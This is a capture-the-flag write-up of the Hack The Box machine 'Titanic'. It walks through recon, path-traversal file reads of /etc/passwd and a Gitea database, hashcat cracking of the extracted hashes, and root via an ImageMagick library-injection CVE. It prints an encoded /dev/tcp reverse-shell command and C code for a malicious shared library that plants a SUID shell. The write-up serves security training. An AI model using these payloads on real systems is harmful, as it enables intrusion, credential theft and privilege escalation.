By 0xCapra_Daemon aka Will Keller
#linux #gitea #imagemagick #scripting #C #hashcat #LFI
Recon

Nmap:
Enter your target IP address or URL here: 10.129.231.221
------------------------------------------------------------
Scanning target 10.129.231.221
Time started: 2026-08-13 15:24:40.146793
------------------------------------------------------------
Port 22 is open
Port 80 is open
Port scan completed in 0:00:33.352374
------------------------------------------------------------
Threader3000 recommends the following Nmap scan:
************************************************************
nmap -p22,80 -sV -sC -T4 -Pn -oA 10.129.231.221 10.129.231.221
************************************************************
Would you like to run Nmap or quit to terminal?
------------------------------------------------------------
1 = Run suggested Nmap scan
2 = Run another Threader3000 scan
3 = Exit to terminal
------------------------------------------------------------
Option Selection: 1
nmap -p22,80 -sV -sC -T4 -Pn -oA 10.129.231.221 10.129.231.221
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-13 15:26 -0400
Nmap scan report for 10.129.231.221
Host is up.
PORT STATE SERVICE VERSION
22/tcp filtered ssh
80/tcp filtered http
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.01 seconds
-----------------------------------------------------------
Initial portscanning shows that we are being filtered when scanning. Let's attempt a stealthier scan.
└─$ sudo nmap -p 22,80 -sC -sV -sS -oA ./nmap_stealth 10.129.231.221
[sudo] password for kali:
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-13 15:28 -0400
Nmap scan report for 10.129.231.221
Host is up (0.090s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_ 256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.22 second
Stealth scan output shows ssh on port 22 and a webserver on port 80 called titanic.htb. Adding to /etc/hosts.
Port 80
Tech Stack
* Host titanic.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.231.221
* Trying 10.129.231.221:80...
* Established connection to titanic.htb (10.129.231.221 port 80) from 10.10.14.192 port 40798
* using HTTP/1.x
> GET / HTTP/1.1
> Host: titanic.htb
> User-Agent: curl/8.20.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Thu, 13 Aug 2026 19:32:03 GMT
< Server: Werkzeug/3.0.3 Python/3.10.12
< Content-Type: text/html; charset=utf-8
< Content-Length: 7399
< Vary: Accept-Encoding
Browser

Visiting it in the browser we see that it appears to be a booking site for a trip on the titanic...clearly AI slop...

Clicking "Book Your Trip" we see that a popout opens asking for booking details. Let's submit fake data and catch the request in caido

Submitting the data sends POST request to /book which triggers a 302 FOUND redirect for a link to download the booking as a json file.
Subdirectory enumeration
└─$ gobuster dir -u http://titanic.htb -w /usr/share/wordlists/dirb/common.txt -x php,html,css,js,txt,png,jpg,jpeg -t 12 | tee ./gobuster_80
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://titanic.htb
[+] Method: GET
[+] Threads: 12
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Extensions: css,js,txt,png,jpg,jpeg,php,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
book (Status: 405) [Size: 153]
download (Status: 400) [Size: 41]
server-status (Status: 403) [Size: 276]
===============================================================
Finished
Nothing too interesting on the surface for subdirectory enumeration
Subdomain Enumeration
┌──(kali㉿kali)-[~/CTF/HTB/titanic/scanning]
└─$ ffuf -v -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host:FUZZ.titanic.htb" -u http://titanic.htb -fw 20
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://titanic.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.titanic.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 20
________________________________________________
[Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 110ms]
| URL | http://titanic.htb
* FUZZ: dev
We successfully enumerate the dev subdomain for titantic.htb. Adding to /etc/hosts.


Visiting dev in the browser we are met with a Gitea instance running on version 1.22.1.

Clicking "Explore" we see repo entries for docker and for something called flask-app. When we click through we see that it's the Titanic booking app we are targeting. Let's snoop on the source files for secrets.



Inside the "Tickets" section we see two entries. One for Jack Dawson and one for Rose DeWitt Bukater. These might be useful later.

Enumerating the docker-config section under mysql we do see hardcoded creds for the user sql_svc in the docker compose file.

Further enumerating the ticket parameter we try to exploit LFI and get a download with our input as the file name.
┌──(kali㉿kali)-[~/CTF/HTB/titanic/files]
└─$ ls
total 16K
4.0K drwxrwxr-x 2 kali kali 4.0K Aug 13 16:33 .
4.0K drwxrwxr-x 6 kali kali 4.0K Aug 13 15:23 ..
4.0K -rw-rw-r-- 1 kali kali 545 Aug 13 15:44 book.txt
4.0K -rw-rw-r-- 1 kali kali 2.0K Aug 13 16:33 _.._.._.._.._.._.._.._etc_passwd
┌──(kali㉿kali)-[~/CTF/HTB/titanic/files]
└─$ cat _.._.._.._.._.._.._.._etc_passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
We successfully read out the contents of /etc/passwd on the server.

Reading some hints on HTB we know we are supposed to be targeting the app.ini file to leak creds to us. However manually searching is proving difficult.


Looking at the docker compose file for gitea we see that most of it's data lives in /home/developer/gitea/data. When we visit that in the browser, it returns a 500 server error. We can use this to fuzz valid endpoints.
┌──(kali㉿kali)-[~/CTF/HTB/titanic/files]
└─$ ffuf -v -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -u 'http://titanic.htb/download?ticket=/home/developer/gitea/data/FUZZ' -mc 500
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://titanic.htb/download?ticket=/home/developer/gitea/data/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 500
________________________________________________
[Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 105ms]
| URL | http://titanic.htb/download?ticket=/home/developer/gitea/data/.
* FUZZ: .
[Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 194ms]
| URL | http://titanic.htb/download?ticket=/home/developer/gitea/data/git
* FUZZ: git
[Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 141ms]
| URL | http://titanic.htb/download?ticket=/home/developer/gitea/data/ssh
* FUZZ: ssh
[WARN] Caught keyboard interrupt (Ctrl-C)
┌──(kali㉿kali)-[~/CTF/HTB/titanic/files]
└─$ ffuf -v -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -u 'http://titanic.htb/download?ticket=/home/developer/gitea/data/git/FUZZ' -mc 500
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://titanic.htb/download?ticket=/home/developer/gitea/data/git/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 500
________________________________________________
[Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 122ms]
| URL | http://titanic.htb/download?ticket=/home/developer/gitea/data/git/.
* FUZZ: .
[Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 195ms]
| URL | http://titanic.htb/download?ticket=/home/developer/gitea/data/git/.ssh
* FUZZ: .ssh
[Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 167ms]
| URL | http://titanic.htb/download?ticket=/home/developer/gitea/data/git/repositories
* FUZZ: repositories
:: Progress: [43007/43007] :: Job [1/1] :: 264 req/sec :: Duration: [0:02:46] :: Errors: 0 ::
We successfully fuzz git and ssh routes as well as .ssh and repositories within the git subdirectory.
Initial Access
Credential Leak

Finally find our app.ini file in /home/developer/gitea/data/gitea/conf/app.ini

As you can see, the gitea docs for docker images show that customization files are stored in /data/gitea/.
[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD =
LOG_SQL = false
SCHEMA =
SSL_MODE = disable
From the app.ini file we see there's a sqlite db stored on the system.


We input it in our LFI vuln endpoint and browse it on our machine in DB browser. Where we find password hashes, formats, and salts in the user table for administrator aka root@titanic.htb and for developer. Let's try cracking.
┌──(python3env)─(kali㉿kali)-[~/…/HTB/titanic/files/giteatohashcat]
└─$ python3 giteaToHashcat.py ../gitea.db
[+] Extracting password hashes...
[+] Extraction complete. Output:
administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
hacker:sha256:50000:8uRuPYCaLoJ8Dt0vgRekhg==:BCw08XPvY2Z/7KMkcxxT5qtmGSsaFEzrc8u97lJqM4Ua5loWNbtTy/58W+Lfh4DaaXE=
We find a tool that parses gitea databases and converts the password hashes to hashcat format for us.
Host memory allocated for this attack: 513 MB (1483 MB free)
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqc...lM+1Y=
Time.Started.....: Thu Aug 13 17:58:06 2026 (5 secs)
Time.Estimated...: Thu Aug 13 17:58:11 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 1367 H/s (11.37ms) @ Accel:196 Loops:1000 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 6272/14344385 (0.04%)
Rejected.........: 0/6272 (0.00%)
Restore.Point....: 5488/14344385 (0.04%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:49000-49999
Candidate.Engine.: Device Generator
Candidates.#01...: shannen -> crazy8
Hardware.Mon.#01.: Util: 96%
Started: Thu Aug 13 17:58:05 202
└─$ ssh developer@titanic.htb
The authenticity of host 'titanic.htb (10.129.231.221)' can't be established.
ED25519 key fingerprint is: SHA256:Ku8uHj9CN/ZIoay7zsSmUDopgYkPmN7ugINXU0b2GEQ
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'titanic.htb' (ED25519) to the list of known hosts.
developer@titanic.htb's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-131-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Thu Aug 13 09:59:09 PM UTC 2026
System load: 0.03
Usage of /: 83.8% of 6.79GB
Memory usage: 17%
Swap usage: 0%
Processes: 227
Users logged in: 0
IPv4 address for eth0: 10.129.231.221
IPv6 address for eth0: dead:beef::a0de:adff:fe65:333e
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
developer@titanic:~$
hashcat successfully cracks the hash for user developer and ssh to the server successfully.
Privilege Escalation
ImageMagick
developer@titanic:~$ ls /opt/scripts
total 12K
4.0K drwxr-xr-x 2 root root 4.0K Feb 7 2025 .
4.0K drwxr-xr-x 5 root root 4.0K Feb 7 2025 ..
4.0K -rwxr-xr-x 1 root root 167 Feb 3 2025 identify_images.sh
developer@titanic:~$ cat /opt/scripts/identify_images.sh
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)
Enumerating /opt we see a scripts folder that holds identify_images.sh owned by root. This may very well be a cron job that root is running on our system. Additionally we note that the script is using ImageMagick version 7.1.1-35 which is vulnerable to a shared library vulnerability.

Because of the way this version of ImageMagick handles certain variables, it's possible to inject a malicious library file in the working directory from where this script is called.
developer@titanic:/tmp$ ls /opt/app/static/assets/images
total 1.3M
4.0K drwxrwx--- 2 root developer 4.0K Feb 3 2025 .
4.0K drwxr-x--- 3 root developer 4.0K Feb 7 2025 ..
288K -rw-r----- 1 root developer 286K Feb 3 2025 entertainment.jpg
276K -rw-r----- 1 root developer 275K Feb 3 2025 exquisite-dining.jpg
208K -rw-r----- 1 root developer 205K Feb 3 2025 favicon.ico
228K -rw-r----- 1 root developer 228K Feb 3 2025 home.jpg
276K -rw-r----- 1 root developer 275K Feb 3 2025 luxury-cabins.jpg
4.0K -rw-r----- 1 root developer 442 Aug 13 22:15 metadata.log
In our case, the folder the script calls from is /opt/app/static/assets/images which our user has write access to. Let's try to inject a malicious library file in this directory calling a reverse shell back to our attacker machine via this POC I found online. It takes any command we give it and compiles it into a libxcb.so which is commonly used by ImageMagick.
┌──(python3env)─(kali㉿kali)-[~/…/titanic/exploit/privesc/CVE-2024-41817-poc]
└─$ python3 exploit.py -c "echo 'YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTAuMTAuMTQuMTkyLzg4ODggPCYxJw==' | base64 -d | bash" -B
[!] Mode build only
[!] Building payload
[!] Payload created in "/home/kali/CTF/HTB/titanic/exploit/privesc/CVE-2024-41817-poc/out/delegates.xml"
[*] Compiling shared library with gcc...
[+] Shared library successfully compiled: out/libxcb.so.1
[+] Shared library ready to use: out/libxcb.so
developer@titanic:/opt/app/static/assets/images$ ls
total 1.3M
4.0K drwxrwx--- 2 root developer 4.0K Aug 13 22:25 .
4.0K drwxr-x--- 3 root developer 4.0K Feb 7 2025 ..
288K -rw-r----- 1 root developer 286K Feb 3 2025 entertainment.jpg
276K -rw-r----- 1 root developer 275K Feb 3 2025 exquisite-dining.jpg
208K -rw-r----- 1 root developer 205K Feb 3 2025 favicon.ico
228K -rw-r----- 1 root developer 228K Feb 3 2025 home.jpg
16K -rw-rw-r-- 1 developer developer 16K Aug 13 22:24 libxcb.so
276K -rw-r----- 1 root developer 275K Feb 3 2025 luxury-cabins.jpg
4.0K -rw-r----- 1 root developer 442 Aug 13 22:25 metadata.log
We successfully create our malicious library file and load it into the directory that root calls the script from. That payload isn't working.
└─$ python3 ./exploit.py -c 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' -B
[!] Mode build only
[!] Building payload
[!] Payload created in "/home/kali/CTF/HTB/titanic/exploit/privesc/CVE-2024-41817-poc/out/delegates.xml"
[*] Compiling shared library with gcc...
[+] Shared library successfully compiled: out/libxcb.so.1
[+] Shared library ready to use: out/libxcb.so
So we decide to use the old SUID trick on /bin/bash for our new payload and upload it to /opt/app/static/assets/images. Still no dice with this POC.
developer@titanic:/opt/app/static/assets/images$ gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("cp /bin/sh /tmp && chmod u+s /tmp/sh");
exit(0);
}
EOF
developer@titanic:/opt/app/static/assets/images$ ls /tmp
total 204K
4.0K drwxrwxrwt 14 root root 4.0K Aug 13 22:39 .
4.0K drwxr-xr-x 19 root root 4.0K Feb 7 2025 ..
4.0K -rw-rw-r-- 1 developer developer 73 Aug 13 22:13 delegates.xml
4.0K drwxrwxrwt 2 root root 4.0K Aug 13 19:20 .font-unix
4.0K drwxrwxrwt 2 root root 4.0K Aug 13 19:20 .ICE-unix
16K -rw-rw-r-- 1 developer developer 16K Aug 13 22:13 libxcb.so
124K -rwsr-xr-x 1 root root 123K Aug 13 22:39 sh
4.0K drwx------ 3 root root 4.0K Aug 13 19:21 snap-private-tmp
4.0K -rw------- 1 developer developer 322 Aug 13 22:13 ssh_client_ip_developer
4.0K drwx------ 3 root root 4.0K Aug 13 19:21 systemd-private-1817bd938e74427e981ea8275c50634f-apache2.service-wHAqJN
4.0K drwx------ 3 root root 4.0K Aug 13 19:21 systemd-private-1817bd938e74427e981ea8275c50634f-ModemManager.service-c2gJRf
4.0K drwx------ 3 root root 4.0K Aug 13 19:20 systemd-private-1817bd938e74427e981ea8275c50634f-systemd-logind.service-pTwP0O
4.0K drwx------ 3 root root 4.0K Aug 13 19:20 systemd-private-1817bd938e74427e981ea8275c50634f-systemd-resolved.service-g3v2NX
4.0K drwx------ 3 root root 4.0K Aug 13 19:20 systemd-private-1817bd938e74427e981ea8275c50634f-systemd-timesyncd.service-bUcVhE
4.0K drwxrwxrwt 2 root root 4.0K Aug 13 19:20 .Test-unix
4.0K drwx------ 2 root root 4.0K Aug 13 19:21 vmware-root_622-2689275054
4.0K drwxrwxrwt 2 root root 4.0K Aug 13 19:20 .X11-unix
4.0K drwxrwxrwt 2 root root 4.0K Aug 1
Finally broke down and used a guide which suggested a small script via gcc on the server itself and it works. Not sure how it's different than the POC, but here we are.
developer@titanic:/opt/app/static/assets/images$
developer@titanic:/opt/app/static/assets/images$ /tmp/sh -p
# id
uid=1000(developer) gid=1000(developer) euid=0(root) groups=1000(developer)
Successfully escalate to root. pwned.
Final Thoughts
- Read up on the docs carefully when enumerating a specific web app/service to exploit
- don't forget low hanging fruit like a simple local file inclusion vulnerability in get paramters (i.e. ticket=/etc/passwd)
- If your POC isn't working, try a simpler script and make it executable
- Keep basic script templates on-hand to make it easier.
- Be sure to note if the app you're attacking is installed directly on the system or is in a container like docker. This will change file locations and app behaviors.
- Learn to do basic scripting in C